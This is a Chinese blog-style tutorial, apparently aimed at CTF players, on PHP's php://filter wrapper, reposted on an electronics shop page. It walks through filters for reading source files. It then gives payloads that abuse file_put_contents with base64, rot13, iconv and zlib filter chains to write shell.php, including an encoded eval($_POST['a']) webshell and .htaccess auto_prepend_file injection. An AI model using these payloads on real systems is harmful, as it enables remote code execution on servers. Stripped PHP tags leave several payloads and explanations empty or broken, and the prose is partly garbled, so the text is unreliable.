锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

浅谈 filter伪协议的特性

时间:2022-10-10 14:00:00 sitemap 二极管kpz

前言:

对我来说,我以前对filter伪协议不太了解,这次接触这个问题,必须主动更深入地了解filter伪协议。我以前道了。php://filter/read=convert.base64-encode/resource=[文件名] 这套干瘪的套装,用完了,现在看来深入了解是必要的。

何为php://filter

解释官方文件:

php://filter 是元封装器, 在数据流打开时设计筛选过滤应用。 这是一体式(all-in-one)文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在阅读数据流内容之前,没有机会使用其他过滤器。

按照我的理解:

它是一个php特殊协议是用于过滤的过滤器 读取 或者 写入 处理类似中间人关系的数据流

php://filter 参数

php://filter/read=convert.base64-encode|convert.base64-encode/resource=data://text/plain, 为参考

名称

描述

resource=<要过滤的数据流>

这个参数是必要的。它指定了过滤数据流。

read=<读链的筛选列表>

可选参数。管道符号可设置一个或多个过滤器名称。(|)分隔。

write=<写链条筛选列表>

可选参数。管道符号可设置一个或多个过滤器名称。(|)分隔。

<;两个链的筛选列表>

任何没有以 read= 或 write= 作前缀 筛选列表将根据情况应用于读写链。

1.resource =后面可以接像data:///这种格式的内容,对base64编码两次

访问一下

解码两次

PS: resource后面使用 php://input 接收的POST流也可以

也可以直接写文件名

2.read & write 一个代表 读,代表 写

3.这里base64编码两次,编码之间使用 | 分隔

过滤器是什么?

熟悉的句子:

php://filter/read=convert.base64-encode/resource=flag.php

//这其中convert.base64-encode 是过滤器

过滤器的类型

根据官方文件,我们可以分为四种过滤器

  • 字符串过滤器
  • 转换过滤器
  • 压缩过滤器
  • 加密过滤器

1.字符串过滤器

string.rot13

介绍一下rot13

ROT-13 编码是一种替换每个字母的方法。 替换字母由原始字母向前移动 13 一个字母

payload:

php://filter/read=string.rot13/resource=flag.php

这个是flag.php的内容:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

读取后:

$synt = "{nfq3-4isqg-snxyzx0-48ss}";

?>

很容易获得原始内容,然后rot一次可以得到13编码flag

string.toupper(大写所有内容)

payload:

php://filter/read=string.toupper/resource=flag.php

结果:

$FLAG = "{ASD3-4VFDT-FAKLMK0-48FF}";

?>

string.tolower(将内容全部小写)

payload:

php://filter/read=string.tolower/resource=flag.php

结果:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

string.strip_tags

作用:

对于HTML来说,它会去除标签保留标签之间的内容

对于php来说,全杀一个不显示

警告

本特性已自 PHP 7.3.0 起废弃。强烈建议不要使用本特性

flag.php的内容:

$flag = "{asd3-4vfdt-faklmk0-48ff}";

?>

Home Page

无限大な梦のあとの

结果:

2.转换过滤器(convert.* )

convert.base64-encode & convert.base64-decode

payload:

php://filter/read=convert.base64-encode/resource=flag.php

结果:

PD9waHANCiRmbGFnID0gInthc2QzLTR2ZmR0LWZha2xtazAtNDhmZn0iOw0KPz4gDQo=

convert.quoted-printable-encode 和 convert.quoted-printable-decode

阐释:quoted_printable_decode()函数 quoted_printable_encode()函数相同

Quoted-printable译为可打印字符引用编码,这里就是把一些不可打印的ASCII字符转换为十六进制的形式,下文中会再给出我的理解。

payload:

php://filter/read=convert.quoted-printable-encode/resource=flag.php

结果:

这里应该就是将'\n'换成0D0A的形式,如果碰到等号,就会在后面加上3D

convert.iconv.*

*的内容可以是:

UTF-8
UCS-2, UCS-2BE, UCS-2LE
UCS-4, UCS-4BE, UCS-4LE
UTF-16, UTF-16BE, UTF-16LE
UTF-32, UTF-32BE, UTF-32LE
UTF-7

这里特别补充说明一个点:

UCS-2LE.UCS-2BE、utf-7、utf-8

这些编码是可以通过'\n'拼接的,也就是意味着可以绕检测

举个例子:

php://filter/read=convert.iconv.ut%0Af-8.u%0Atf-7/resource=flag.php

如果题目过滤了utf,那么便可以使用此方法绕过(具体能不能使用还得看目标服务器,这个也不是绝对,不过是一个方法,也是一种思路,要多尝试)

结果:

不得不说,这个方法得到的东西太乱了,最好的解码方式就是本地解码

php://filter/read=convert.iconv.utf-7.utf-8/resource=flag.php

// 就是把原来的utf-7和utf-8交换一下位置

3.压缩过滤器

zlib.deflate(压缩)和 zlib.inflate(解压)

在激活 zlib 的前提下可以使用 zlib.* 压缩过滤器。

以为我没有激活,所以演示不了,只能贴一下payload了

php://filter/zlib.deflate|zlib.inflate/resource=flag.php

4.加密过滤器

警告

本特性已自 PHP 7.1.0 起废弃。强烈建议不要使用本特性。

这个东西太奇怪了,这里不做讨论

小结

讲了这么多,我必须 在这里提醒你,过滤器不是必选!!可以不用,很多时候不用有妙用。不要以为php://filter必须用过滤器。而且当你使用的是php不认识的过滤器,php不会做任何处理,切记。

先来了解一下file_put_contents这个函数

file_put_contents ( string$filename , mixed$data [, int$flags = 0 [, resource$context ]] ) : int

两个必要参数:

string $filename ->文件的名字

mixed $data ->写入文件的数据

无特别说明,则文件都是被写入当前目录下

也可以通过

@mkdir()

@chdir()

来设置文件存放路径

还有一个关于file_put_contents 的非常有用的知识:

file_put_contents 可以调用伪协议,并且伪协议处理数据时会对过滤器 urldecode一次

举个例子:

传参输入:(字母 t urlencode两次 -->%7%34)

?php://filter/read=string.ro%7%3413/resource=flag.php

地址栏自动解码一次

?php://filter/read=string.ro%7413/resource=flag.php

file_put_contents 解码一次

$content=php://filter/read=string.rot13/resource=flag.php

从而绕过检测

绕过死亡exit有三种情况

情况一

$filename=$_GET['filename'];
$content=$_POST['content'];
file_put_contents($filename," ?>

死亡前后不一致

BASE64绕过

原理:前面的phpexit是七个字节,而BASE64是四个字节一组转换成三个字节,所以我们这里再添加一个字母补足前面的八个字节后面的内容才会被正确解析为

filename=php://filter/convert.base64-decode/resource=shell.php

// 这里不要再添加read= 不然后面的content内容不会被解码

content=aPD9waHAgcGhwaW5mbygpOz8+

rot13绕过

原理:,因此绕过

filename=php://filter/string.rot13/resource=shell.php

content=

过滤器嵌套绕过

原理:清除php原有的内容,再进行base64解码

filename=php://filter/string.strip_tags|convert.base64-decode/resource=shell.php

content=?>PD9waHAgcGhwaW5mbygpOz8+

之后生成的shell.php内容就是;

需要注意的就是:string.strip_tags特性已自 PHP 7.3.0 起废弃

如果废弃了,怎么办

filename=php://filter/zlib.deflate|string.tolower|zlib.inflate|/resource=shell.php

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>%0dphpinfo();?>/resource=shell.php

.htaccess的预包含利用

这个方法利用条件苛刻:

1.要知道所要的文件名的名字

2.满足php版本 < 7.3

$filename=php://filter/write=string.strip_tags/resource=.htaccess

$content=?>php_value auto_prepend_file D:\\wamp\\www\\test\flag.php

复现失败,暂时不知道原因,见谅

情况二:

$content=$_GET['content'];
file_put_contents($content," ?>

前后内容相同,也就是这次我写这篇文章的起因。

ROT13绕过

content=php://filter/string.rot13||/resource=shell.php

这里存在rot被过滤的情况,可以考虑编码绕过

payload:

php://filter/read=string.ro%7%3413/resource=flag.php

base64编码绕过

payload:

content=php://filter/string.strip_tags|convert.base64-decode/resource=?>PD9waHAgcGhwaW5mbygpOz8+/../shell.php

过滤器嵌套绕过

payload:

content=php://filter/zlib.deflate|string.tolower|zlib.inflate|?>/resource=shell.php

结果:

convert.iconv.*绕过

1.usc-2

usc-2就是对字符两位一反转

payload:

php://filter/convert.iconv.UCS-2LE.UCS-2BE|??/resource=shell.php

结果:

2.usc-4

原理同上,四位一反转

payload:

php://filter/convert.iconv.UCS-4LE.UCS-4BE|hp??;)/resource=shell.php

3.uft

payload

php://filter/write=PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|convert.iconv.utf-8.utf-7|convert.base64-decode/resource=shell.php

结果:

情况三:

payload:

filename=shell.php

content=

结果:

如果不想要换行符的话,我们可以直接进行 \ 注释即可。然后再嵌入#注释符,从而达到单行注释就可以将杂糅代码注释掉的效果,这个是使用.htaccess文件达到的

payload:

filename=.htaccess

content=php_value%20auto_prepend_file%20C:\\flag%0a%23\

相关文章